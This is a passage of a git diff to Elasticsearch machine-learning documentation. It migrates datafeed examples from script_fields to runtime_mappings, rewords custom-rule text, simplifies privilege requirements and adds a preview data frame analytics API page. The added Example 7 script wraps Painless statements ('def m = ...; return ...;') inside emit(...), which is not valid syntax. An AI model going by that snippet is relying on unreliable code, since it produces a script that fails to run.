values are not interesting for investigation. -Let us now configure an {anomaly-job} with a rule that will skip results where -CPU utilization is less than 0.20. +Let us now configure an {anomaly-job} with a rule that skips results where CPU +utilization is less than 0.20. [source,console] ---------------------------------- @@ -171,12 +170,12 @@ PUT _ml/anomaly_detectors/cpu_with_rule ---------------------------------- // TEST[skip:needs-licence] -When there are multiple conditions they are combined with a logical `and`. -This is useful when we want the rule to apply to a range. We simply create -a rule with two conditions, one for each end of the desired range. +When there are multiple conditions they are combined with a logical `AND`. This +is useful when we want the rule to apply to a range. We create a rule with two +conditions, one for each end of the desired range. -Here is an example where a count detector will skip results when the count -is greater than 30 and less than 50: +Here is an example where a count detector skips results when the count is +greater than 30 and less than 50: [source,console] ---------------------------------- @@ -213,26 +212,26 @@ PUT _ml/anomaly_detectors/rule_with_range [[ml-custom-rules-lifecycle]] == Custom rules in the lifecycle of a job -Custom rules only affect results created after the rules were applied. -Let us imagine that we have configured an {anomaly-job} and it has been running -for some time. After observing its results we decide that we can employ -rules in order to get rid of some uninteresting results. We can use -the {ref}/ml-update-job.html[update {anomaly-job} API] to do so. However, the -rule we added will only be in effect for any results created from the moment we -added the rule onwards. Past results will remain unaffected. +Custom rules only affect results created after the rules were applied. Let us +imagine that we have configured an {anomaly-job} and it has been running for +some time. After observing its results, we decide that we can employ rules to +get rid of some uninteresting results. We can use the +{ref}/ml-update-job.html[update {anomaly-job} API] to do so. However, the rule +we added will only be in effect for any results created from the moment we +added the rule onwards. Past results remain unaffected. [[ml-custom-rules-filtering]] == Using custom rules vs. filtering data -It might appear like using rules is just another way of filtering the data -that feeds into an {anomaly-job}. For example, a rule that skips results when -the partition field value is in a filter sounds equivalent to having a query -that filters out such documents. But it is not. There is a fundamental -difference. When the data is filtered before reaching a job it is as if they -never existed for the job. With rules, the data still reaches the job and -affects its behavior (depending on the rule actions). - -For example, a rule with the `skip_result` action means all data will still -be modeled. On the other hand, a rule with the `skip_model_update` action means -results will still be created even though the model will not be updated by -data matched by a rule. +It might appear like using rules is just another way of filtering the data that +feeds into an {anomaly-job}. For example, a rule that skips results when the +partition field value is in a filter sounds equivalent to having a query that +filters out such documents. However, there is a fundamental difference. When the +data is filtered before reaching a job, it is as if they never existed for the +job. With rules, the data still reaches the job and affects its behavior +(depending on the rule actions). + +For example, a rule with the `skip_result` action means all data is still +modeled. On the other hand, a rule with the `skip_model_update` action means +results are still created even though the model is not updated by data matched +by a rule. diff --git a/docs/reference/ml/anomaly-detection/ml-configuring-transform.asciidoc b/docs/reference/ml/anomaly-detection/ml-configuring-transform.asciidoc index 3c1b0c98017c6..442701ac7804b 100644 --- a/docs/reference/ml/anomaly-detection/ml-configuring-transform.asciidoc +++ b/docs/reference/ml/anomaly-detection/ml-configuring-transform.asciidoc @@ -1,15 +1,16 @@ [role="xpack"] [[ml-configuring-transform]] -= Transforming data with script fields += Altering data in your {dfeed} with runtime fields -If you use {dfeeds}, you can add scripts to transform your data before -it is analyzed. {dfeeds-cap} contain an optional `script_fields` property, where -you can specify scripts that evaluate custom expressions and return script -fields. +If you use {dfeeds}, you can use runtime fields to alter your data before it +is analyzed. You can add an optional `runtime_mappings` property to your +{dfeeds}, where you can specify field types and scripts that evaluate custom +expressions without affecting the indices that you're retrieving the data from. -If your {dfeed} defines script fields, you can use those fields in your -{anomaly-job}. For example, you can use the script fields in the analysis -functions in one or more detectors. +If your {dfeed} defines runtime fields, you can use those fields in your +{anomaly-job}. For example, you can use the runtime fields in the analysis +functions in one or more detectors. Runtime fields can impact search performance +based on the computation defined in the runtime script. * <> * <> @@ -19,7 +20,7 @@ functions in one or more detectors. * <> * <> * <> -* <> +// * <> The following index APIs create and add content to an index that is used in subsequent examples: @@ -99,8 +100,10 @@ aggregation. If you want both a full text (`text`) and a keyword (`keyword`) version of the same field, use multi-fields. For more information, see {ref}/multi-fields.html[fields]. + [[ml-configuring-transform1]] .Example 1: Adding two numerical fields + [source,console] ---------------------------------- PUT _ml/anomaly_detectors/test1 @@ -124,17 +127,19 @@ PUT _ml/anomaly_detectors/test1 PUT _ml/datafeeds/datafeed-test1 { "job_id": "test1", - "indices": ["my-index-000001"], + "indices": [ + "my-index-000001" + ], "query": { "match_all": { - "boost": 1 + "boost": 1 } }, - "script_fields": { + "runtime_mappings": { "total_error_count": { <2> + "type": "long", "script": { - "lang": "expression", - "source": "doc['error_count'].value + doc['aborted_count'].value" + "source": "emit(doc['error_count'].value + doc['aborted_count'].value)" } } } @@ -142,18 +147,17 @@ PUT _ml/datafeeds/datafeed-test1 ---------------------------------- // TEST[skip:needs-licence] -<1> A script field named `total_error_count` is referenced in the detector +<1> A runtime field named `total_error_count` is referenced in the detector within the job. -<2> The script field is defined in the {dfeed}. +<2> The runtime field is defined in the {dfeed}. -This `test1` {anomaly-job} contains a detector that uses a script field in a -mean analysis function. The `datafeed-test1` {dfeed} defines the script field. +This `test1` {anomaly-job} contains a detector that uses a runtime field in a +mean analysis function. The `datafeed-test1` {dfeed} defines the runtime field. It contains a script that adds two fields in the document to produce a "total" error count. -The syntax for the `script_fields` property is identical to that used by {es}. -For more information, see -{ref}/search-fields.html#script-fields[Script fields]. +The syntax for the `runtime_mappings` property is identical to that used by +{es}. For more information, see {ref}/runtime.html[Runtime fields]. You can preview the contents of the {dfeed} by using the following API: @@ -176,24 +180,25 @@ the `error_count` and `aborted_count` values: ] ---------------------------------- -NOTE: This example demonstrates how to use script fields, but it contains +NOTE: This example demonstrates how to use runtime fields, but it contains insufficient data to generate meaningful results. //For a full demonstration of //how to create jobs with sample data, see <>. You can alternatively use {kib} to create an advanced {anomaly-job} that uses -script fields. To add the `script_fields` property to your {dfeed}, you must use -the **Edit JSON** tab. For example: +runtime fields. To add the `runtime_mappings` property to your {dfeed}, you must +use the **Edit JSON** tab. For example: [role="screenshot"] -image::images/ml-scriptfields.jpg[Adding script fields to a {dfeed} in {kib}] +image::images/ml-runtimefields.jpg[Using runtime_mappings in {dfeed} config via {kib}] + [[ml-configuring-transform-examples]] -== Common script field examples +== Common runtime field examples While the possibilities are limitless, there are a number of common scenarios -where you might use script fields in your {dfeeds}. +where you might use runtime fields in your {dfeeds}. [NOTE] =============================== @@ -202,13 +207,14 @@ expressions are disabled because they circumvent the protection that Painless provides against long running and memory hungry scripts. For more information, see {ref}/modules-scripting-painless.html[Painless scripting language]. -Machine learning analysis is case sensitive. For example, "John" is considered -to be different than "john". This is one reason you might consider using scripts -that convert your strings to upper or lowercase letters. +{ml-cap} analysis is case sensitive. For example, "John" is considered to be +different than "john". This is one reason you might consider using scripts that +convert your strings to upper or lowercase letters. =============================== [[ml-configuring-transform2]] .Example 2: Concatenating strings + [source,console] -------------------------------------------------- PUT _ml/anomaly_detectors/test2 @@ -218,7 +224,7 @@ PUT _ml/anomaly_detectors/test2 "detectors":[ { "function":"low_info_content", - "field_name":"my_script_field", <1> + "field_name":"my_runtime_field", <1> "detector_description": "Custom script field transformation" } ] @@ -238,11 +244,11 @@ PUT _ml/datafeeds/datafeed-test2 "boost": 1 } }, - "script_fields": { - "my_script_field": { + "runtime_mappings": { + "my_runtime_field": { + "type": "keyword", "script": { - "lang": "painless", - "source": "doc['some_field'].value + '_' + doc['another_field'].value" <2> + "source": "emit(doc['some_field'].value + '_' + doc['another_field'].value)" <2> } } } @@ -252,9 +258,9 @@ GET _ml/datafeeds/datafeed-test2/_preview -------------------------------------------------- // TEST[skip:needs-licence] -<1> The script field has a rather generic name in this case, since it will -be used for various tests in the subsequent examples. -<2> The script field uses the plus (+) operator to concatenate strings. +<1> The runtime field has a generic name in this case, since it is used for +various tests in the examples. +<2> The runtime field uses the plus (+) operator to concatenate strings. The preview {dfeed} API returns the following results, which show that "JOE" and "SMITH " have been concatenated and an underscore was added: @@ -264,22 +270,23 @@ and "SMITH " have been concatenated and an underscore was added: [ { "@timestamp": 1490274000000, - "my_script_field": "JOE_SMITH " + "my_runtime_field": "JOE_SMITH " } ] ---------------------------------- [[ml-configuring-transform3]] .Example 3: Trimming strings + [source,console] -------------------------------------------------- POST _ml/datafeeds/datafeed-test2/_update { - "script_fields": { - "my_script_field": { + "runtime_mappings": { + "my_runtime_field": { + "type": "keyword", "script": { - "lang": "painless", - "source": "doc['another_field'].value.trim()" <1> + "source": "emit(doc['another_field'].value.trim())" <1> } } } @@ -289,8 +296,8 @@ GET _ml/datafeeds/datafeed-test2/_preview -------------------------------------------------- // TEST[skip:continued] -<1> This script field uses the `trim()` function to trim extra white space from a -string. +<1> This runtime field uses the `trim()` function to trim extra white space from +a string. The preview {dfeed} API returns the following results, which show that "SMITH " has been trimmed to "SMITH": @@ -307,15 +314,16 @@ has been trimmed to "SMITH": [[ml-configuring-transform4]] .Example 4: Converting strings to lowercase + [source,console] -------------------------------------------------- POST _ml/datafeeds/datafeed-test2/_update { - "script_fields": { - "my_script_field": { + "runtime_mappings": { + "my_runtime_field": { + "type": "keyword", "script": { - "lang": "painless", - "source": "doc['some_field'].value.toLowerCase()" <1> + "source": "emit(doc['some_field'].value.toLowerCase())" <1> } } } @@ -325,9 +333,9 @@ GET _ml/datafeeds/datafeed-test2/_preview -------------------------------------------------- // TEST[skip:continued] -<1> This script field uses the `toLowerCase` function to convert a string to all -lowercase letters. Likewise, you can use the `toUpperCase{}` function to convert -a string to uppercase letters. +<1> This runtime field uses the `toLowerCase` function to convert a string to +all lowercase letters. Likewise, you can use the `toUpperCase{}` function to +convert a string to uppercase letters. The preview {dfeed} API returns the following results, which show that "JOE" has been converted to "joe": @@ -344,15 +352,16 @@ has been converted to "joe": [[ml-configuring-transform5]] .Example 5: Converting strings to mixed case formats + [source,console] -------------------------------------------------- POST _ml/datafeeds/datafeed-test2/_update { - "script_fields": { - "my_script_field": { + "runtime_mappings": { + "my_runtime_field": { + "type": "keyword", "script": { - "lang": "painless", - "source": "doc['some_field'].value.substring(0, 1).toUpperCase() + doc['some_field'].value.substring(1).toLowerCase()" <1> + "source": "emit(doc['some_field'].value.substring(0, 1).toUpperCase() + doc['some_field'].value.substring(1).toLowerCase())" <1> } } } @@ -362,12 +371,12 @@ GET _ml/datafeeds/datafeed-test2/_preview -------------------------------------------------- // TEST[skip:continued] -<1> This script field is a more complicated example of case manipulation. It uses -the `subString()` function to capitalize the first letter of a string and +<1> This runtime field is a more complicated example of case manipulation. It +uses the `subString()` function to capitalize the first letter of a string and converts the remaining characters to lowercase. -The preview {dfeed} API returns the following results, which show that "JOE" -has been converted to "Joe": +The preview {dfeed} API returns the following results, which show that "JOE" has +been converted to "Joe": [source,js] ---------------------------------- @@ -381,15 +390,16 @@ has been converted to "Joe": [[ml-configuring-transform6]] .Example 6: Replacing tokens + [source,console] -------------------------------------------------- POST _ml/datafeeds/datafeed-test2/_update { - "script_fields": { - "my_script_field": { + "runtime_mappings": { + "my_runtime_field": { + "type": "keyword", "script": { - "lang": "painless", - "source": "/\\s/.matcher(doc['tokenstring2'].value).replaceAll('_')" <1> + "source": "emit(/\\s/.matcher(doc['tokenstring2'].value).replaceAll('_'))" <1> } } } @@ -399,11 +409,11 @@ GET _ml/datafeeds/datafeed-test2/_preview -------------------------------------------------- // TEST[skip:continued] -<1> This script field uses regular expressions to replace white -space with underscores. +<1> This script uses regular expressions to replace white space with +underscores. -The preview {dfeed} API returns the following results, which show that -"foo bar baz" has been converted to "foo_bar_baz": +The preview {dfeed} API returns the following results, which show that "foo bar +baz" has been converted to "foo_bar_baz": [source,js] ---------------------------------- @@ -417,15 +427,16 @@ The preview {dfeed} API returns the following results, which show that [[ml-configuring-transform7]] .Example 7: Regular expression matching and concatenation + [source,console] -------------------------------------------------- POST _ml/datafeeds/datafeed-test2/_update { - "script_fields": { - "my_script_field": { + "runtime_mappings": { + "my_runtime_field": { + "type": "keyword", "script": { - "lang": "painless", - "source": "def m = /(.*)-bar-([0-9][0-9])/.matcher(doc['tokenstring3'].value); return m.find() ? m.group(1) + '_' + m.group(2) : '';" <1> + "source": "emit(def m = /(.*)-bar-([0-9][0-9])/.matcher(doc['tokenstring3'].value); return m.find() ? m.group(1) + '_' + m.group(2) : '';)" <1> } } } @@ -435,7 +446,7 @@ GET _ml/datafeeds/datafeed-test2/_preview -------------------------------------------------- // TEST[skip:continued] -<1> This script field looks for a specific regular expression pattern and emits the +<1> This script looks for a specific regular expression pattern and emits the matched groups as a concatenated string. If no match is found, it emits an empty string. @@ -452,22 +463,20 @@ The preview {dfeed} API returns the following results, which show that ] ---------------------------------- + [[ml-configuring-transform8]] -.Example 8: Splitting strings by domain name +.Example 8: Transforming geo_point data + [source,console] -------------------------------------------------- -PUT _ml/anomaly_detectors/test3 +PUT _ml/anomaly_detectors/test4 { - "description":"DNS tunneling", "analysis_config":{ - "bucket_span": "30m", - "influencers": ["clientip","hrd"], + "bucket_span": "10m", "detectors":[ { - "function":"high_info_content", - "field_name": "sub", - "over_field_name": "hrd", - "exclude_frequent":"all" + "function":"lat_long", + "field_name": "my_coordinates" } ] }, @@ -477,64 +486,66 @@ PUT _ml/anomaly_detectors/test3 } } -PUT _ml/datafeeds/datafeed-test3 +PUT _ml/datafeeds/datafeed-test4 { - "job_id": "test3", + "job_id": "test4", "indices": ["my-index-000001"], "query": { "match_all": { "boost": 1 } }, - "script_fields":{ - "sub":{ - "script":"return domainSplit(doc['query'].value).get(0);" - }, - "hrd":{ - "script":"return domainSplit(doc['query'].value).get(1);" + "runtime_mappings": { + "my_coordinates": { + "type": "keyword", + "script": { + "source": "emit(doc['coords.lat'].value + ',' + doc['coords.lon'].value)" + } } } } -GET _ml/datafeeds/datafeed-test3/_preview +GET _ml/datafeeds/datafeed-test4/_preview -------------------------------------------------- // TEST[skip:needs-licence] -If you have a single field that contains a well-formed DNS domain name, you can -use the `domainSplit()` function to split the string into its highest registered -domain and the sub-domain, which is everything to the left of the highest -registered domain. For example, the highest registered domain of -`www.ml.elastic.co` is `elastic.co` and the sub-domain is `www.ml`. The -`domainSplit()` function returns an array of two values: the first value is the -subdomain; the second value is the highest registered domain. +In {es}, location data can be stored in `geo_point` fields but this data type is +not supported natively in {ml} analytics. This example of a runtime field +transforms the data into an appropriate format. For more information, +see <>. The preview {dfeed} API returns the following results, which show that -"www.ml.elastic.co" has been split into "elastic.co" and "www.ml": +`41.44` and `90.5` have been combined into "41.44,90.5": [source,js] ---------------------------------- [ { "@timestamp": 1490274000000, - "clientip.keyword": "123.456.78.900", - "hrd": "elastic.co", - "sub": "www.ml" + "my_coordinates": "41.44,90.5" } ] ---------------------------------- +//// + [[ml-configuring-transform9]] -.Example 9: Transforming geo_point data +.Example 9: Splitting strings by domain name + [source,console] -------------------------------------------------- -PUT _ml/anomaly_detectors/test4 +PUT _ml/anomaly_detectors/test3 { + "description":"DNS tunneling", "analysis_config":{ - "bucket_span": "10m", + "bucket_span": "30m", + "influencers": ["clientip","hrd"], "detectors":[ { - "function":"lat_long", - "field_name": "my_coordinates" + "function":"high_info_content", + "field_name": "sub", + "over_field_name": "hrd", + "exclude_frequent":"all" } ] }, @@ -544,44 +555,50 @@ PUT _ml/anomaly_detectors/test4 } } -PUT _ml/datafeeds/datafeed-test4 +PUT _ml/datafeeds/datafeed-test3 { - "job_id": "test4", + "job_id": "test3", "indices": ["my-index-000001"], "query": { "match_all": { "boost": 1 } }, - "script_fields": { - "my_coordinates": { - "script": { - "source": "doc['coords.lat'].value + ',' + doc['coords.lon'].value", - "lang": "painless" - } + "script_fields":{ + "sub":{ + "script":"return domainSplit(doc['query'].value).get(0);" + }, + "hrd":{ + "script":"return domainSplit(doc['query'].value).get(1);" } } } -GET _ml/datafeeds/datafeed-test4/_preview +GET _ml/datafeeds/datafeed-test3/_preview -------------------------------------------------- // TEST[skip:needs-licence] -In {es}, location data can be stored in `geo_point` fields but this data type is -not supported natively in {ml} analytics. This example of a script field -transforms the data into an appropriate format. For more information, -see <>. +If you have a single field that contains a well-formed DNS domain name, you can +use the `domainSplit()` function to split the string into its highest registered +domain and the sub-domain, which is everything to the left of the highest +registered domain. For example, the highest registered domain of +`www.ml.elastic.co` is `elastic.co` and the sub-domain is `www.ml`. The +`domainSplit()` function returns an array of two values: the first value is the +subdomain; the second value is the highest registered domain. The preview {dfeed} API returns the following results, which show that -`41.44` and `90.5` have been combined into "41.44,90.5": +"www.ml.elastic.co" has been split into "elastic.co" and "www.ml": [source,js] ---------------------------------- [ { "@timestamp": 1490274000000, - "my_coordinates": "41.44,90.5" + "clientip.keyword": "123.456.78.900", + "hrd": "elastic.co", + "sub": "www.ml" } ] ---------------------------------- +//// \ No newline at end of file diff --git a/docs/reference/ml/df-analytics/apis/delete-dfanalytics.asciidoc b/docs/reference/ml/df-analytics/apis/delete-dfanalytics.asciidoc index 689c375630f7c..c0d148cff7f21 100644 --- a/docs/reference/ml/df-analytics/apis/delete-dfanalytics.asciidoc +++ b/docs/reference/ml/df-analytics/apis/delete-dfanalytics.asciidoc @@ -9,8 +9,6 @@ Deletes an existing {dfanalytics-job}. -beta::[] - [[ml-delete-dfanalytics-request]] == {api-request-title} @@ -21,12 +19,8 @@ beta::[] [[ml-delete-dfanalytics-prereq]] == {api-prereq-title} -If the {es} {security-features} are enabled, you must have the following -built-in roles or equivalent privileges: - -* `machine_learning_admin` - -For more information, see <> and {ml-docs-setup-privileges}. +Requires the `manage_ml` cluster privilege. This privilege is included in the +`machine_learning_admin` built-in role. [[ml-delete-dfanalytics-path-params]] diff --git a/docs/reference/ml/df-analytics/apis/delete-trained-models-aliases.asciidoc b/docs/reference/ml/df-analytics/apis/delete-trained-models-aliases.asciidoc index f3c8602219181..759a9627b674d 100644 --- a/docs/reference/ml/df-analytics/apis/delete-trained-models-aliases.asciidoc +++ b/docs/reference/ml/df-analytics/apis/delete-trained-models-aliases.asciidoc @@ -1,15 +1,14 @@ [role="xpack"] [testenv="platinum"] [[delete-trained-models-aliases]] -= Delete Trained Model Aliases API += Delete trained model aliases API [subs="attributes"] ++++ -Delete Trained Model Aliases +Delete trained model aliases ++++ Deletes a trained model alias. -beta::[] [[ml-delete-trained-models-aliases-request]] == {api-request-title} @@ -20,40 +19,34 @@ beta::[] [[ml-delete-trained-models-aliases-prereq]] == {api-prereq-title} -If the {es} {security-features} are enabled, you must have the following -built-in roles and privileges: +Requires the `manage_ml` cluster privilege. This privilege is included in the +`machine_learning_admin` built-in role. -* `machine_learning_admin` - -For more information, see <>, <>, and -{ml-docs-setup-privileges}. [[ml-delete-trained-models-aliases-desc]] == {api-description-title} This API deletes an existing model alias that refers to a trained model. -If the model alias is missing or refers to a model other than the one identified by -the `model_id`, this API will return an error. +If the model alias is missing or refers to a model other than the one identified +by the `model_id`, this API returns an error. [[ml-delete-trained-models-aliases-path-params]] == {api-path-parms-title} -`model_id`:: -(Required, string) -The trained model ID to which the model alias refers. - `model_alias`:: (Required, string) The model alias to delete. +`model_id`:: +(Required, string) +The trained model ID to which the model alias refers. + [[ml-delete-trained-models-aliases-example]] == {api-examples-title} -[[ml-delete-trained-models-aliases-example-delete]] -=== Deleting a model alias - -The following example shows how to delete a model alias for a trained model ID. +The following example shows how to delete a model alias (`flight_delay_model`) +for a trained model ID (`flight-delay-prediction-1574775339910`): [source,console] -------------------------------------------------- diff --git a/docs/reference/ml/df-analytics/apis/delete-trained-models.asciidoc b/docs/reference/ml/df-analytics/apis/delete-trained-models.asciidoc index 1e79b3208ef81..7b41f2f51240a 100644 --- a/docs/reference/ml/df-analytics/apis/delete-trained-models.asciidoc +++ b/docs/reference/ml/df-analytics/apis/delete-trained-models.asciidoc @@ -10,8 +10,6 @@ Deletes an existing trained {infer} model that is currently not referenced by an ingest pipeline. -beta::[] - [[ml-delete-trained-models-request]] == {api-request-title} @@ -22,12 +20,8 @@ beta::[] [[ml-delete-trained-models-prereq]] == {api-prereq-title} -If the {es} {security-features} are enabled, you must have the following -built-in roles or equivalent privileges: - -* `machine_learning_admin` - -For more information, see <> and {ml-docs-setup-privileges}. +Requires the `manage_ml` cluster privilege. This privilege is included in the +`machine_learning_admin` built-in role. [[ml-delete-trained-models-path-params]] diff --git a/docs/reference/ml/df-analytics/apis/evaluate-dfanalytics.asciidoc b/docs/reference/ml/df-analytics/apis/evaluate-dfanalytics.asciidoc index e8199fa1b7306..57e2971a5aa4d 100644 --- a/docs/reference/ml/df-analytics/apis/evaluate-dfanalytics.asciidoc +++ b/docs/reference/ml/df-analytics/apis/evaluate-dfanalytics.asciidoc @@ -10,8 +10,6 @@ Evaluates the {dfanalytics} for an annotated index. -beta::[] - [[ml-evaluate-dfanalytics-request]] == {api-request-title} @@ -22,13 +20,11 @@ beta::[] [[ml-evaluate-dfanalytics-prereq]] == {api-prereq-title} -If the {es} {security-features} are enabled, you must have the following -privileges: +Requires the following privileges: -* cluster: `monitor_ml` - -For more information, see <> and -{ml-docs-setup-privileges}. +* cluster: `monitor_ml` (the `machine_learning_user` built-in role grants this + privilege) +* destination index: `read` [[ml-evaluate-dfanalytics-desc]] diff --git a/docs/reference/ml/df-analytics/apis/explain-dfanalytics.asciidoc b/docs/reference/ml/df-analytics/apis/explain-dfanalytics.asciidoc index 50326613d478e..d5ae18958685a 100644 --- a/docs/reference/ml/df-analytics/apis/explain-dfanalytics.asciidoc +++ b/docs/reference/ml/df-analytics/apis/explain-dfanalytics.asciidoc @@ -10,8 +10,6 @@ Explains a {dataframe-analytics-config}. -beta::[] - [[ml-explain-dfanalytics-request]] == {api-request-title} @@ -28,12 +26,11 @@ beta::[] [[ml-explain-dfanalytics-prereq]] == {api-prereq-title} -If the {es} {security-features} are enabled, you must have the following -privileges: +Requires the following privileges: -* cluster: `monitor_ml` - -For more information, see <> and {ml-docs-setup-privileges}. +* cluster: `monitor_ml` (the `machine_learning_user` built-in role grants this + privilege) +* source indices: `read`, `view_index_metadata` [[ml-explain-dfanalytics-desc]] diff --git a/docs/reference/ml/df-analytics/apis/get-dfanalytics-stats.asciidoc b/docs/reference/ml/df-analytics/apis/get-dfanalytics-stats.asciidoc index ba572e4a59f86..b912c9f564435 100644 --- a/docs/reference/ml/df-analytics/apis/get-dfanalytics-stats.asciidoc +++ b/docs/reference/ml/df-analytics/apis/get-dfanalytics-stats.asciidoc @@ -9,7 +9,6 @@ Retrieves usage information for {dfanalytics-jobs}. -beta::[] [[ml-get-dfanalytics-stats-request]] == {api-request-title} @@ -28,12 +27,9 @@ beta::[] [[ml-get-dfanalytics-stats-prereq]] == {api-prereq-title} -If the {es} {security-features} are enabled, you must have the following -privileges: +Requires the `monitor_ml` cluster privilege. This privilege is included in the +`machine_learning_user` built-in role. -* cluster: `monitor_ml` - -For more information, see <> and {ml-docs-setup-privileges}. [[ml-get-dfanalytics-stats-path-params]] == {api-path-parms-title} diff --git a/docs/reference/ml/df-analytics/apis/get-dfanalytics.asciidoc b/docs/reference/ml/df-analytics/apis/get-dfanalytics.asciidoc index d6086e46644db..4471b656ed4f6 100644 --- a/docs/reference/ml/df-analytics/apis/get-dfanalytics.asciidoc +++ b/docs/reference/ml/df-analytics/apis/get-dfanalytics.asciidoc @@ -9,8 +9,6 @@ Retrieves configuration information for {dfanalytics-jobs}. -beta::[] - [[ml-get-dfanalytics-request]] == {api-request-title} @@ -27,12 +25,8 @@ beta::[] [[ml-get-dfanalytics-prereq]] == {api-prereq-title} -If the {es} {security-features} are enabled, you must have the following -privileges: - -* cluster: `monitor_ml` - -For more information, see <> and {ml-docs-setup-privileges}. +Requires the `monitor_ml` cluster privilege. This privilege is included in the +`machine_learning_user` built-in role. [[ml-get-dfanalytics-desc]] @@ -128,7 +122,7 @@ to `ml`. (string) The unique identifier of the {dfanalytics-job}. `model_memory_limit`::: -(string) The `model_memory_limit` that has been set to the {dfanalytics-job}. +(string) The `model_memory_limit` that has been set for the {dfanalytics-job}. `source`::: (object) The configuration of how the analysis data is sourced. It has an diff --git a/docs/reference/ml/df-analytics/apis/get-trained-models-stats.asciidoc b/docs/reference/ml/df-analytics/apis/get-trained-models-stats.asciidoc index 2c6b15777a125..ba82e3365a701 100644 --- a/docs/reference/ml/df-analytics/apis/get-trained-models-stats.asciidoc +++ b/docs/reference/ml/df-analytics/apis/get-trained-models-stats.asciidoc @@ -9,8 +9,6 @@ Retrieves usage information for trained models. -beta::[] - [[ml-get-trained-models-stats-request]] == {api-request-title} @@ -29,12 +27,9 @@ beta::[] [[ml-get-trained-models-stats-prereq]] == {api-prereq-title} -If the {es} {security-features} are enabled, you must have the following -privileges: - -* cluster: `monitor_ml` +Requires the `monitor_ml` cluster privilege. This privilege is included in the +`machine_learning_user` built-in role. -For more information, see <> and {ml-docs-setup-privileges}. [[ml-get-trained-models-stats-desc]] == {api-description-title} diff --git a/docs/reference/ml/df-analytics/apis/get-trained-models.asciidoc b/docs/reference/ml/df-analytics/apis/get-trained-models.asciidoc index 2b25c12c3e8c2..3064d325fcbe3 100644 --- a/docs/reference/ml/df-analytics/apis/get-trained-models.asciidoc +++ b/docs/reference/ml/df-analytics/apis/get-trained-models.asciidoc @@ -9,8 +9,6 @@ Retrieves configuration information for a trained model. -beta::[] - [[ml-get-trained-models-request]] == {api-request-title} @@ -29,13 +27,8 @@ beta::[] [[ml-get-trained-models-prereq]] == {api-prereq-title} -If the {es} {security-features} are enabled, you must have the following -privileges: - -* cluster: `monitor_ml` - -For more information, see <> and -{ml-docs-setup-privileges}. +Requires the `monitor_ml` cluster privilege. This privilege is included in the +`machine_learning_user` built-in role. [[ml-get-trained-models-desc]] @@ -78,8 +71,12 @@ include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=from-models] A comma delimited string of optional fields to include in the response body. The default value is empty, indicating no optional fields are included. Valid options are: - - `definition`: Includes the model definition + - `definition`: Includes the model definition. - `feature_importance_baseline`: Includes the baseline for {feat-imp} values. + - `hyperparameters`: Includes the information about hyperparameters used to + train the model. This information consists of the value, the absolute and + relative importance of the hyperparameter as well as an indicator of whether + it was specified by the user or tuned during hyperparameter optimization. - `total_feature_importance`: Includes the total {feat-imp} for the training data set. The baseline and total {feat-imp} values are returned in the `metadata` field @@ -226,18 +223,22 @@ List of the available hyperparameters optimized during the [%collapsible%open] ====== `absolute_importance`:::: -(Optional, double) +(double) A positive number showing how much the parameter influences the variation of the {ml-docs}/dfa-regression.html#dfa-regression-lossfunction[loss function]. For hyperparameters with values that are not specified by the user but tuned during hyperparameter optimization. +`max_trees`:::: +(integer) +include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=max-trees-trained-models] + `name`:::: (string) Name of the hyperparameter. `relative_importance`:::: -(Optional, double) +(double) A number between 0 and 1 showing the proportion of influence on the variation of the loss function among all tuned hyperparameters. For hyperparameters with values that are not specified by the user but tuned during hyperparameter @@ -281,11 +282,11 @@ A collection of {feat-imp} statistics related to the training data set for this include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=inference-metadata-feature-importance-magnitude] `max`::: -(int) +(integer) include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=inference-metadata-feature-importance-max] `min`::: -(int) +(integer) include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=inference-metadata-feature-importance-min] ======= diff --git a/docs/reference/ml/df-analytics/apis/index.asciidoc b/docs/reference/ml/df-analytics/apis/index.asciidoc index dcf35454f5b3b..8c0f8713c90ab 100644 --- a/docs/reference/ml/df-analytics/apis/index.asciidoc +++ b/docs/reference/ml/df-analytics/apis/index.asciidoc @@ -1,8 +1,8 @@ include::ml-df-analytics-apis.asciidoc[leveloffset=+1] //CREATE include::put-dfanalytics.asciidoc[leveloffset=+2] -include::put-trained-models.asciidoc[leveloffset=+2] include::put-trained-models-aliases.asciidoc[leveloffset=+2] +include::put-trained-models.asciidoc[leveloffset=+2] //UPDATE include::update-dfanalytics.asciidoc[leveloffset=+2] //DELETE @@ -18,6 +18,8 @@ include::get-dfanalytics.asciidoc[leveloffset=+2] include::get-dfanalytics-stats.asciidoc[leveloffset=+2] include::get-trained-models.asciidoc[leveloffset=+2] include::get-trained-models-stats.asciidoc[leveloffset=+2] +//PREVIEW +include::preview-dfanalytics.asciidoc[leveloffset=+2] //SET/START/STOP include::start-dfanalytics.asciidoc[leveloffset=+2] include::stop-dfanalytics.asciidoc[leveloffset=+2] diff --git a/docs/reference/ml/df-analytics/apis/ml-df-analytics-apis.asciidoc b/docs/reference/ml/df-analytics/apis/ml-df-analytics-apis.asciidoc index 14e0c8012c89a..f2fc3f35016e7 100644 --- a/docs/reference/ml/df-analytics/apis/ml-df-analytics-apis.asciidoc +++ b/docs/reference/ml/df-analytics/apis/ml-df-analytics-apis.asciidoc @@ -5,6 +5,7 @@ You can use the following APIs to perform {ml} {dfanalytics} activities. +* <> * <> * <> * <> diff --git a/docs/reference/ml/df-analytics/apis/preview-dfanalytics.asciidoc b/docs/reference/ml/df-analytics/apis/preview-dfanalytics.asciidoc new file mode 100644 index 0000000000000..0418ed9effe4c --- /dev/null +++ b/docs/reference/ml/df-analytics/apis/preview-dfanalytics.asciidoc @@ -0,0 +1,101 @@ +[role="xpack"] +[testenv="platinum"] +[[preview-dfanalytics]] += Preview {dfanalytics} API + +[subs="attributes"] +++++ +Preview {dfanalytics} +++++ + +Previews the features used by a {dataframe-analytics-config}. + + +[[ml-preview-dfanalytics-request]] +== {api-request-title} + +`GET _ml/data_frame/analytics/_preview` + + +`POST _ml/data_frame/analytics/_preview` + + +`GET _ml/data_frame/analytics//_preview` + + +`POST _ml/data_frame/analytics//_preview` + + +[[ml-preview-dfanalytics-prereq]] +== {api-prereq-title} + +Requires the `monitor_ml` cluster privilege. This privilege is included in the +`machine_learning_user` built-in role. + + +[[ml-preview-dfanalytics-desc]] +== {api-description-title} + +This API provides preview of the extracted features for a {dataframe-analytics-config} +that either exists already or one that has not been created yet. + + +[[ml-preview-dfanalytics-path-params]] +== {api-path-parms-title} + +``:: +(Optional, string) 